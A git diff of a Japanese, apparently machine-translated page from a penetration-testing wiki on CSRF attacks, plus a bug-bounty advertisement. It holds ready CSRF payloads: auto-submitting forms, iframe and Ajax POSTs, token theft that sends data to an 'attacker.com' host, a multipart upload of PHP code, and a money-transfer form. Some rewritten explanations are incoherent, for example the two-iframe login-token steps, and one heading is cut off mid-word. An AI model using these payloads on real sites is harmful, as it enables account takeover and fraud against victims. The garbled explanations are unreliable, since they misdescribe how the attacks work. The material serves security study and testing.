この脆弱性を回避するためには、いくつかの**対策**が取られる場合があります。
|
||||
|
||||
|
@ -44,13 +44,13 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
* [**SameSiteクッキー**](hacking-with-cookies/#samesite):セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
|
||||
* [**クロスオリジンリソース共有**](cors-bypass.md):関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトの**CORSポリシー**を考慮する必要があります。_CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。_
|
||||
* **パスワード**ユーザーにアクションを許可するように要求する。
|
||||
* **パスワード**ユーザーにアクションを許可するために要求する。
|
||||
* **キャプチャ**を解決する
|
||||
* **リファラ**または**オリジン**ヘッダーを読み取る。正規表現が使用されている場合、次のようにバイパスできます。
|
||||
* http://mal.net?orig=http://example.com(URLで終わる)
|
||||
* http://example.com.mal.net(URLで始まる)
|
||||
* POSTまたはGETリクエストのパラメーターの**名前**を**変更**する
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護することができます。
|
||||
* POSTまたはGETリクエストのパラメータの**名前**を**変更**する
|
||||
* 各セッションで**CSRFトークン**を使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護される場合があります。
|
||||
|
||||
### CSRFマップ
|
||||
|
||||
|
@ -64,17 +64,17 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
### トークンの欠如
|
||||
|
||||
一部のアプリケーションは、トークンが存在する場合には正しく**トークンを検証しますが、トークンが省略された場合には検証をスキップします**。\
|
||||
この状況では、攻撃者はトークンを含むパラメーター全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行することができます。
|
||||
一部のアプリケーションは、トークンが存在する場合に正しく**トークンを検証**しますが、トークンが欠落している場合には検証をスキップします。\
|
||||
この状況では、攻撃者はトークンを含むパラメータ全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行することができます。
|
||||
|
||||
### CSRFトークンがユーザーセッションに関連付けられていない
|
||||
|
||||
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを**検証しません**。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。\
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、**有効なトークンを取得**し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを**検証しない**場合があります。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。\
|
||||
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、有効なトークンを取得し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
|
||||
|
||||
### メソッドバイパス
|
||||
|
||||
リクエストが「**奇妙な**」
|
||||
リク
|
||||
### カスタムヘッダートークンのバイパス
|
||||
|
||||
もしリクエストが**CSRF保護手法**として**トークン**を含む**カスタムヘッダー**を追加している場合、以下の手順を実行します:
|
||||
|
@ -110,15 +110,15 @@ CSRFの脆弱性を悪用するためには、まず**悪用する重要なア
|
|||
|
||||
### Content-Typeの変更
|
||||
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**POST**メソッドを使用して**プリフライトを回避**するために、次のContent-Typeの値が許可されています。
|
||||
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**プリフライトを回避**するために、**POST**メソッドを使用する場合、次のContent-Typeの値が許可されています。
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**_**,**_**`application/xml`**などの他の値を試す必要があります。
|
||||
ただし、使用する**Content-Type**によっては、**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**、**`text/xml`**、**`application/xml`**などの他の値も試してみる必要があります。
|
||||
|
||||
[ここ](https://brycec.me/posts/corctf\_2021\_challenges)からのJSONデータをtext/plainとして送信する例:
|
||||
以下は、JSONデータをtext/plainとして送信する例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から)です。
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -133,11 +133,11 @@ form.submit();
|
|||
```
|
||||
### application/json preflight request bypass
|
||||
|
||||
既にお知りの通り、HTMLフォームを介してContent-Typeが**`application/json`**のPOSTリクエストを送信することはできません。また、**`XMLHttpRequest`**を使用して送信しようとすると、最初に**preflight**リクエストが送信されます。\
|
||||
ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータをcontent types **`text/plain`** および **`application/x-www-form-urlencoded`** を使用して送信することができます。\
|
||||
`Content-Type: text/plain`を使用してフォームを送信することができます。**`enctype="text/plain"`**を設定します。
|
||||
既にご存知の通り、HTMLフォームを介してContent-Typeが**`application/json`**のPOSTリクエストを送信することはできません。また、**`XMLHttpRequest`**を使用して試みると、最初に**プリフライト**リクエストが送信されます。\
|
||||
ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータを送信するために**`text/plain`**および**`application/x-www-form-urlencoded`**のコンテンツタイプを使用してみることができます。\
|
||||
`Content-Type: text/plain`を使用してフォームを送信することができます。
|
||||
|
||||
サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、preflightリクエストをトリガーせずに**コンテンツタイプ "text/plain; application/json"**を送信することができます。
|
||||
サーバーがコンテンツタイプ「application/json」のみを受け入れる場合、プリフライトリクエストをトリガーせずに**「text/plain; application/json」というコンテンツタイプを送信**することができます。
|
||||
|
||||
また、**SWFフラッシュファイル**を使用してこの制限を**バイパス**することもできます。詳細については、[**この投稿**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を読んでください。
|
||||
|
||||
|
@ -145,7 +145,7 @@ form.submit();
|
|||
|
||||
**Refererヘッダーを回避する**
|
||||
|
||||
一部のアプリケーションは、リクエストにRefererヘッダーが存在する場合にのみそのヘッダーを検証しますが、ヘッダーが省略された場合は検証をスキップします。
|
||||
一部のアプリケーションでは、リクエストにRefererヘッダーが存在する場合にのみ検証を行いますが、ヘッダーが省略された場合は検証をスキップします。
|
||||
```markup
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -174,7 +174,7 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
|
@ -182,7 +182,7 @@ document.forms[0].submit();
|
|||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期において、Web3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -195,7 +195,7 @@ HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始
|
|||
|
||||
### **CSRFトークンの外部流出**
|
||||
|
||||
もし**CSRFトークン**が**防御手段**として使用されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)の脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)の脆弱性を悪用して**トークンを外部流出**させることができます。
|
||||
もし**CSRFトークン**が**防御手段**として使用されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)の脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection.md)の脆弱性を悪用して**トークンを外部に流出**させることができます。
|
||||
|
||||
### **HTMLタグを使用したGETリクエスト**
|
||||
```markup
|
||||
|
@ -249,21 +249,17 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
```
|
||||
### iframeを通じたフォームのPOSTリクエスト
|
||||
|
||||
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a malicious form through an iframe. This technique is commonly used when the target website has implemented CSRF protection mechanisms that prevent direct form submissions from external domains.
|
||||
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a malicious form through an iframe. This technique is commonly used when the target website has implemented CSRF protection mechanisms such as anti-CSRF tokens.
|
||||
|
||||
攻撃者は、iframeを介して被害者に悪意のあるフォームを送信させることで、クロスサイトリクエストフォージェリ(CSRF)の脆弱性を悪用することができます。この技術は、対象のウェブサイトが外部ドメインからの直接のフォーム送信を防ぐCSRF保護メカニズムを実装している場合によく使用されます。
|
||||
攻撃者は、iframeを介して被害者に悪意のあるフォームを送信させることで、クロスサイトリクエストフォージェリ(CSRF)の脆弱性を悪用することができます。この技術は、対象のウェブサイトがアンチ-CSRFトークンなどのCSRF保護メカニズムを実装している場合によく使用されます。
|
||||
|
||||
To perform this attack, the attacker crafts a webpage that contains an iframe pointing to the target website's vulnerable form. The attacker then tricks the victim into visiting this webpage, which loads the iframe and automatically submits the form without the victim's knowledge.
|
||||
To perform this attack, the attacker crafts a webpage containing an iframe that loads the target website's form. The attacker then fills the form with malicious data and submits it using JavaScript. Since the form is loaded within the victim's browser, the request appears legitimate and is sent with the victim's session cookies.
|
||||
|
||||
この攻撃を実行するために、攻撃者は対象のウェブサイトの脆弱なフォームを指すiframeを含むウェブページを作成します。攻撃者はその後、被害者にこのウェブページを訪れさせ、iframeを読み込み、被害者の知識を持たずにフォームを自動的に送信させます。
|
||||
この攻撃を実行するために、攻撃者は、対象のウェブサイトのフォームを読み込むiframeを含むウェブページを作成します。攻撃者は、そのフォームに悪意のあるデータを入力し、JavaScriptを使用して送信します。フォームは被害者のブラウザ内で読み込まれるため、リクエストは正当なものと見なされ、被害者のセッションクッキーとともに送信されます。
|
||||
|
||||
The malicious form can be designed to perform various actions on behalf of the victim, such as changing account settings, making purchases, or even initiating sensitive transactions. Since the request originates from the victim's browser, it appears legitimate to the target website, bypassing any CSRF protection measures in place.
|
||||
To protect against this attack, websites should implement measures such as SameSite cookies, CSRF tokens, and referer validation. Additionally, users should be cautious when interacting with unfamiliar websites and avoid clicking on suspicious links.
|
||||
|
||||
悪意のあるフォームは、被害者の代わりにさまざまなアクションを実行するように設計することができます。例えば、アカウント設定の変更、購入の実行、または機密なトランザクションの開始などです。リクエストは被害者のブラウザから発信されるため、対象のウェブサイトには正当なものと見なされ、設置されているCSRF保護対策をバイパスします。
|
||||
|
||||
To mitigate this vulnerability, web developers should implement CSRF protection mechanisms such as anti-CSRF tokens or same-site cookies. Additionally, users should be cautious when visiting unfamiliar websites or clicking on suspicious links to minimize the risk of falling victim to CSRF attacks.
|
||||
|
||||
この脆弱性を軽減するために、ウェブ開発者は、アンチ-CSRFトークンや同一サイトクッキーなどのCSRF保護メカニズムを実装する必要があります。さらに、ユーザーは、不慣れなウェブサイトを訪れたり、疑わしいリンクをクリックしたりする際に注意を払い、CSRF攻撃の被害に遭うリスクを最小限に抑えるべきです。
|
||||
この攻撃に対抗するために、ウェブサイトはSameSiteクッキー、CSRFトークン、およびリファラーの検証などの対策を実装する必要があります。さらに、ユーザーは見慣れないウェブサイトとのやり取りには注意し、疑わしいリンクをクリックしないようにする必要があります。
|
||||
```markup
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -283,56 +279,35 @@ document.forms[0].submit();
|
|||
```
|
||||
### **Ajax POST リクエスト**
|
||||
|
||||
Ajax POST リクエストは、クライアントがサーバーにデータを送信するための非同期通信メカニズムです。このリクエストは、Webアプリケーションの機能を拡張するために使用されます。
|
||||
Ajax POST リクエストは、Webアプリケーションの脆弱性を悪用するための一般的な攻撃手法の1つです。この攻撃は、クロスサイトリクエストフォージェリ(CSRF)として知られています。
|
||||
|
||||
以下は、Ajax POST リクエストの基本的な構文です。
|
||||
CSRF攻撃では、攻撃者は被害者のブラウザを利用して、被害者が意図しないリクエストを送信させます。これにより、攻撃者は被害者のアカウントに代わって操作を行ったり、機密情報を盗んだりすることができます。
|
||||
|
||||
Ajax POSTリクエストを使用すると、攻撃者はJavaScriptを介して非同期的にリクエストを送信できます。これにより、攻撃者は被害者のブラウザ上でリクエストを実行し、被害者のアカウントに悪意のある操作を行うことができます。
|
||||
|
||||
以下は、Ajax POSTリクエストの例です。
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: '/endpoint',
|
||||
url: '/update-email',
|
||||
type: 'POST',
|
||||
data: {
|
||||
param1: 'value1',
|
||||
param2: 'value2'
|
||||
email: 'attacker@example.com'
|
||||
},
|
||||
success: function(response) {
|
||||
// リクエストが成功した場合の処理
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
// リクエストが失敗した場合の処理
|
||||
// リクエストがエラーとなった場合の処理
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
この例では、`/endpoint` というエンドポイントに対して、POST メソッドでデータを送信しています。`data` パラメータには、送信するデータをオブジェクト形式で指定します。
|
||||
この例では、`/update-email`というエンドポイントに対してPOSTリクエストが送信されます。`email`パラメータには、攻撃者のメールアドレスが指定されています。
|
||||
|
||||
成功した場合は、`success` コールバック関数が呼び出され、レスポンスデータが引数として渡されます。失敗した場合は、`error` コールバック関数が呼び出され、エラー情報が引数として渡されます。
|
||||
攻撃者は、このAjax POSTリクエストを悪用して、被害者のメールアドレスを攻撃者のメールアドレスに変更することができます。
|
||||
|
||||
Ajax POST リクエストは、CSRF(クロスサイトリクエストフォージェリ)攻撃に対して脆弱性を持つことがあります。この攻撃では、攻撃者が被害者の代わりに意図しないリクエストを送信することができます。
|
||||
|
||||
この脆弱性を防ぐためには、適切なCSRFトークンをリクエストに含める必要があります。CSRFトークンは、サーバーが生成し、クライアントに提供する一意の識別子です。リクエストを送信する際に、このトークンを含めることで、正当なユーザーであることを証明します。
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: '/endpoint',
|
||||
type: 'POST',
|
||||
data: {
|
||||
param1: 'value1',
|
||||
param2: 'value2',
|
||||
csrf_token: 'xxxxxxxxxxxxx' // CSRFトークンを含める
|
||||
},
|
||||
success: function(response) {
|
||||
// リクエストが成功した場合の処理
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
// リクエストが失敗した場合の処理
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
CSRFトークンは、セッションごとに生成される必要があります。また、トークンの有効期限を設定し、定期的に更新することも重要です。これにより、攻撃者が有効なトークンを推測することが困難になります。
|
||||
|
||||
以上が、Ajax POST リクエストの基本的な構文とCSRF対策の概要です。セキュリティを確保するためには、適切な対策を講じることが重要です。
|
||||
このような攻撃を防ぐためには、適切なCSRF対策を実装する必要があります。これには、トークンを使用してリクエストの正当性を検証するなどの手法があります。
|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -386,13 +361,13 @@ field_data
|
|||
--boundary--
|
||||
```
|
||||
|
||||
In the above example, `boundary` is the boundary string, `field_name` is the name of the field, `file_name` is the name of the file (if applicable), `file_type` is the MIME type of the file, and `field_data` is the actual data of the field.
|
||||
Here, `boundary` is the specified boundary string, `field_name` is the name of the field, `file_name` is the name of the file (if applicable), `file_type` is the MIME type of the file, and `field_data` is the actual data of the field.
|
||||
|
||||
上記の例では、`boundary` はバウンダリ文字列、`field_name` はフィールドの名前、`file_name` はファイルの名前(該当する場合)、`file_type` はファイルの MIME タイプ、`field_data` はフィールドの実際のデータです。
|
||||
ここで、`boundary` は指定されたバウンダリ文字列、`field_name` はフィールドの名前、`file_name` はファイルの名前(該当する場合)、`file_type` はファイルの MIME タイプ、`field_data` はフィールドの実際のデータです。
|
||||
|
||||
When processing a `multipart/form-data` POST request, the server needs to parse the request body and extract the individual parts. This can be done using libraries or frameworks that support `multipart/form-data` parsing.
|
||||
By understanding the structure of a `multipart/form-data` POST request, you can effectively analyze and manipulate form data during penetration testing or other security assessments.
|
||||
|
||||
`multipart/form-data` POST リクエストを処理する際には、サーバーはリクエストボディを解析し、個々のパートを抽出する必要があります。これは、`multipart/form-data` 解析をサポートするライブラリやフレームワークを使用して行うことができます。
|
||||
`multipart/form-data` POST リクエストの構造を理解することで、ペネトレーションテストや他のセキュリティ評価中にフォームデータを効果的に分析および操作することができます。
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -413,37 +388,30 @@ In this technique, we will explore how to perform a Cross-Site Request Forgery (
|
|||
|
||||
A multipart/form-data POST request is commonly used to upload files or submit form data that includes binary content. This type of request consists of multiple parts, each containing a separate piece of data.
|
||||
|
||||
#### Steps
|
||||
#### Exploiting CSRF with multipart/form-data POST request
|
||||
|
||||
1. Identify the target: Choose the website or application you want to target for the CSRF attack.
|
||||
To exploit CSRF using a multipart/form-data POST request, follow these steps:
|
||||
|
||||
2. Analyze the target: Understand the target's functionality and identify any forms or actions that can be exploited.
|
||||
|
||||
3. Create the malicious payload: Craft a malicious HTML page or script that will execute the CSRF attack. This payload should include a form with the necessary fields to perform the desired action on the target.
|
||||
|
||||
4. Set up a server: Host the malicious payload on a server that you control. This server will be used to serve the payload to the victim.
|
||||
|
||||
5. Prepare the payload: Modify the payload to include the necessary fields for the multipart/form-data POST request. Each field should be defined using the appropriate HTML tags and include the required data.
|
||||
|
||||
6. Inject the payload: Find a way to trick the victim into visiting the malicious payload. This can be done through social engineering techniques, such as sending a phishing email or embedding the payload in a compromised website.
|
||||
|
||||
7. Execute the attack: When the victim visits the malicious payload, the browser will automatically submit the form, sending the multipart/form-data POST request to the target. The target server will process the request, unaware that it was initiated by an attacker.
|
||||
|
||||
8. Exploit the result: Analyze the response from the target server to determine if the attack was successful. This may involve checking for changes in the target's state or verifying that the desired action was performed.
|
||||
1. Identify the target website that is vulnerable to CSRF.
|
||||
2. Craft a malicious HTML page or an email containing a hidden form that submits a multipart/form-data POST request to the target website.
|
||||
3. Include the necessary fields in the form to perform the desired action on the target website.
|
||||
4. Set the `enctype` attribute of the form to `multipart/form-data` to indicate that the request will contain multiple parts.
|
||||
5. Set the `method` attribute of the form to `POST` to specify that the request should be sent using the POST method.
|
||||
6. Set the `action` attribute of the form to the URL of the target website's vulnerable endpoint.
|
||||
7. Include any additional fields required by the target website, such as CSRF tokens or session cookies.
|
||||
8. Embed the malicious HTML page or send the email to the target user.
|
||||
9. When the target user visits the malicious page or opens the email, their browser will automatically submit the hidden form, triggering the CSRF attack.
|
||||
10. The target website will process the malicious request, unaware that it was initiated by the attacker, and perform the desired action.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To protect against CSRF attacks using multipart/form-data POST requests, consider implementing the following measures:
|
||||
To protect against CSRF attacks using multipart/form-data POST requests, web developers should implement the following measures:
|
||||
|
||||
- Use anti-CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server side.
|
||||
- Implement CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server-side.
|
||||
- Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-origin requests.
|
||||
- Implement CSRF protection frameworks: Utilize frameworks that provide built-in protection against CSRF attacks, such as Django's CSRF middleware.
|
||||
|
||||
- Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-site requests.
|
||||
|
||||
- Use CSRF protection frameworks: Utilize frameworks or libraries that provide built-in protection against CSRF attacks.
|
||||
|
||||
- Educate users: Raise awareness among users about the risks of clicking on suspicious links or submitting forms on untrusted websites.
|
||||
|
||||
By following these mitigation techniques, you can significantly reduce the risk of CSRF attacks on your web applications.
|
||||
By following these mitigation techniques, web developers can significantly reduce the risk of CSRF attacks through multipart/form-data POST requests.
|
||||
```javascript
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
|
@ -557,45 +525,38 @@ getTokenJS();
|
|||
|
||||
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
|
||||
|
||||
以下の手法を使用して、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
|
||||
以下の手順を使用して、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
|
||||
|
||||
1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のブラウザで実行されます。
|
||||
1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のブラウザで自動的に読み込まれます。
|
||||
|
||||
```html
|
||||
<iframe src="http://attacker.com/steal-csrf-token"></iframe>
|
||||
<iframe src="http://attacker.com/csrf.html"></iframe>
|
||||
```
|
||||
|
||||
2. 攻撃者は、CSRFトークンを盗むためのエンドポイントを作成します。このエンドポイントは、被害者のセッションに関連付けられたトークンを取得するために使用されます。
|
||||
2. 攻撃者は、`csrf.html`という名前のファイルを作成し、その中に以下のコードを配置します。このコードは、被害者のブラウザで自動的に実行されます。
|
||||
|
||||
```html
|
||||
<!-- CSRFトークンを盗むためのエンドポイント -->
|
||||
<form id="csrf-form" action="http://attacker.com/steal-csrf-token" method="POST">
|
||||
<input type="hidden" name="csrf-token" value="">
|
||||
<form id="csrfForm" action="http://victim.com/profile" method="POST">
|
||||
<input type="hidden" name="csrf_token" id="csrfToken" value="">
|
||||
</form>
|
||||
|
||||
<script>
|
||||
// CSRFトークンを盗む
|
||||
var csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
|
||||
document.getElementById('csrfToken').value = csrfToken;
|
||||
|
||||
// フォームを自動的に送信する
|
||||
document.getElementById('csrfForm').submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
3. 攻撃者は、Ajaxを使用してCSRFトークンを盗み、フォームに設定します。
|
||||
3. `csrf.html`ファイルが被害者のブラウザで読み込まれると、JavaScriptコードが実行され、被害者のセッションに関連付けられたCSRFトークンが盗まれます。
|
||||
|
||||
```javascript
|
||||
// Ajaxを使用してCSRFトークンを盗む
|
||||
$.ajax({
|
||||
url: 'http://victim.com/get-csrf-token',
|
||||
method: 'GET',
|
||||
success: function(response) {
|
||||
// 盗んだCSRFトークンをフォームに設定
|
||||
$('#csrf-form input[name="csrf-token"]').val(response.csrfToken);
|
||||
}
|
||||
});
|
||||
```
|
||||
4. 盗まれたCSRFトークンは、自動的に生成されたフォームに設定されます。
|
||||
|
||||
4. 盗んだCSRFトークンを使用して、攻撃者はフォームを自動的に送信します。
|
||||
5. JavaScriptコードは、自動的に生成されたフォームを送信します。これにより、攻撃者は被害者の代わりにPOSTリクエストを送信することができます。
|
||||
|
||||
```javascript
|
||||
// フォームを自動的に送信
|
||||
$('#csrf-form').submit();
|
||||
```
|
||||
|
||||
この手法により、攻撃者は被害者のセッションに関連付けられたCSRFトークンを盗み、それを使用して悪意のあるPOSTリクエストを送信することができます。被害者は攻撃が行われていることに気付かず、攻撃者の意図しないリクエストが実行される可能性があります。
|
||||
この攻撃手法を防ぐためには、ウェブアプリケーションはCSRFトークンを適切に実装し、リクエストの送信元を検証する必要があります。また、セキュリティ対策として、CSRFトークンをHTTPヘッダーに含めることも推奨されています。
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -661,21 +622,29 @@ In this technique, we will exploit a Cross-Site Request Forgery (CSRF) vulnerabi
|
|||
|
||||
最初のiframeには、ターゲットのウェブサイトのログインページが読み込まれます。
|
||||
|
||||
3. The second iframe is loaded with a page hosted on the attacker's server, which includes a form that automatically submits the stolen token.
|
||||
3. The second iframe is loaded with the attacker's server URL, which will receive the stolen token.
|
||||
|
||||
2番目のiframeには、攻撃者のサーバーでホストされたページが読み込まれます。このページには、盗まれたトークンを自動的に送信するフォームが含まれています。
|
||||
2番目のiframeには、盗まれたトークンを受け取る攻撃者のサーバーのURLが読み込まれます。
|
||||
|
||||
4. When the victim visits the malicious webpage, the first iframe loads the target website's login page.
|
||||
4. The attacker tricks the victim into visiting the malicious webpage.
|
||||
|
||||
被害者が悪意のあるウェブページを訪れると、最初のiframeはターゲットのウェブサイトのログインページを読み込みます。
|
||||
攻撃者は、被害者を悪意のあるウェブページに誘導します。
|
||||
|
||||
5. The victim enters their credentials into the login form, unaware that the second iframe is also submitting the stolen token to the attacker's server.
|
||||
5. When the victim visits the webpage, the first iframe automatically submits the login form using the victim's stored credentials.
|
||||
|
||||
被害者は、ログインフォームに資格情報を入力しますが、2番目のiframeが盗まれたトークンを攻撃者のサーバーに送信していることに気付いていません。
|
||||
被害者がウェブページを訪れると、最初のiframeは被害者の保存された資格情報を使用してログインフォームを自動的に送信します。
|
||||
|
||||
6. The stolen token is sent to the attacker's server, allowing them to impersonate the victim and perform actions on their behalf.
|
||||
6. The target website processes the login request and generates a token for the user.
|
||||
|
||||
盗まれたトークンは攻撃者のサーバーに送信され、攻撃者は被害者をなりすまし、その代わりに操作を行うことができます。
|
||||
ターゲットのウェブサイトは、ログインリクエストを処理し、ユーザーのトークンを生成します。
|
||||
|
||||
7. The second iframe, loaded with the attacker's server URL, captures the token and sends it to the attacker's server.
|
||||
|
||||
攻撃者のサーバーのURLが読み込まれた2番目のiframeは、トークンをキャプチャして攻撃者のサーバーに送信します。
|
||||
|
||||
8. The attacker now has the stolen token and can use it to perform actions on behalf of the victim.
|
||||
|
||||
攻撃者は、盗まれたトークンを持っており、被害者の代わりにアクションを実行することができます。
|
||||
```markup
|
||||
<script>
|
||||
var token;
|
||||
|
@ -735,7 +704,7 @@ height="600" width="800"></iframe>
|
|||
amountInput.value = '1000000';
|
||||
form.appendChild(amountInput);
|
||||
|
||||
// フォームをbodyに追加して自動的に送信
|
||||
// フォームをbodyに追加して自動的に送信する
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
|
@ -744,11 +713,11 @@ height="600" width="800"></iframe>
|
|||
</script>
|
||||
```
|
||||
|
||||
この攻撃では、Ajaxを使用してサーバーからCSRFトークンを盗み、そのトークンを使用してフォームを作成し、POSTリクエストを送信します。攻撃者は、ユーザーが悪意のあるサイトにアクセスした場合にこの攻撃を実行することができます。
|
||||
この攻撃では、Ajaxを使用してサーバーからCSRFトークンを盗み、そのトークンを使用してフォームを作成し、自動的にPOSTリクエストを送信します。攻撃者は、ユーザーが悪意のあるサイトにアクセスした場合にこの攻撃を実行することができます。
|
||||
|
||||
攻撃者は、Ajaxリクエストを使用してサーバーからCSRFトークンを取得します。取得したトークンは、フォームの隠しフィールドに追加されます。その後、フォームは自動的に送信され、攻撃者が指定したアクション(この場合は`/transfer-money`)にPOSTリクエストが送信されます。
|
||||
攻撃者は、Ajaxリクエストを使用してサーバーからCSRFトークンを取得します。取得したトークンは、フォームの隠しフィールドに追加されます。また、攻撃者は送信するデータ(この場合は金額)もフォームに追加します。
|
||||
|
||||
この攻撃により、攻撃者はユーザーの意図しない資金移動などの操作を行うことができます。ユーザーは攻撃が発生していることに気付かずに、悪意のある操作が実行されます。
|
||||
最後に、攻撃者はフォームを自動的に送信するために、フォームをHTMLのbody要素に追加し、`form.submit()`を呼び出します。これにより、攻撃者はユーザーの意図せずにフォームを送信し、悪意のあるアクション(この場合はお金の転送)を実行することができます。
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -777,20 +746,45 @@ document.getElementById("form").submit();
|
|||
```
|
||||
### Socket.IOを使用したCSRF
|
||||
|
||||
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用して開発されたアプリケーションは、WebSocketをサポートしていないブラウザでも動作することができます。
|
||||
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用してリアルタイムな通信を行うWebアプリケーションは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性にさらされる可能性があります。
|
||||
|
||||
CSRF(Cross-Site Request Forgery)は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。Socket.IOを使用したアプリケーションでも、CSRF攻撃に対する対策が必要です。
|
||||
CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRFトークンを適切に実装することが重要です。
|
||||
|
||||
Socket.IOでは、クライアントとサーバー間の通信にトークンを使用することで、CSRF攻撃を防ぐことができます。以下の手順で実装します。
|
||||
Socket.IOでは、CSRFトークンを生成し、クライアントとサーバー間でやり取りする必要があります。これにより、正当なリクエストであることを確認し、不正なリクエストを防ぐことができます。
|
||||
|
||||
1. サーバー側で、セッションごとに一意のトークンを生成します。
|
||||
2. トークンをクライアントに送信し、クライアント側で保持します。
|
||||
3. クライアントがサーバーにリクエストを送信する際に、トークンをリクエストに含めます。
|
||||
4. サーバーは、受け取ったトークンが正当なものかどうかを検証します。
|
||||
以下は、Socket.IOを使用したCSRF攻撃の例です。
|
||||
|
||||
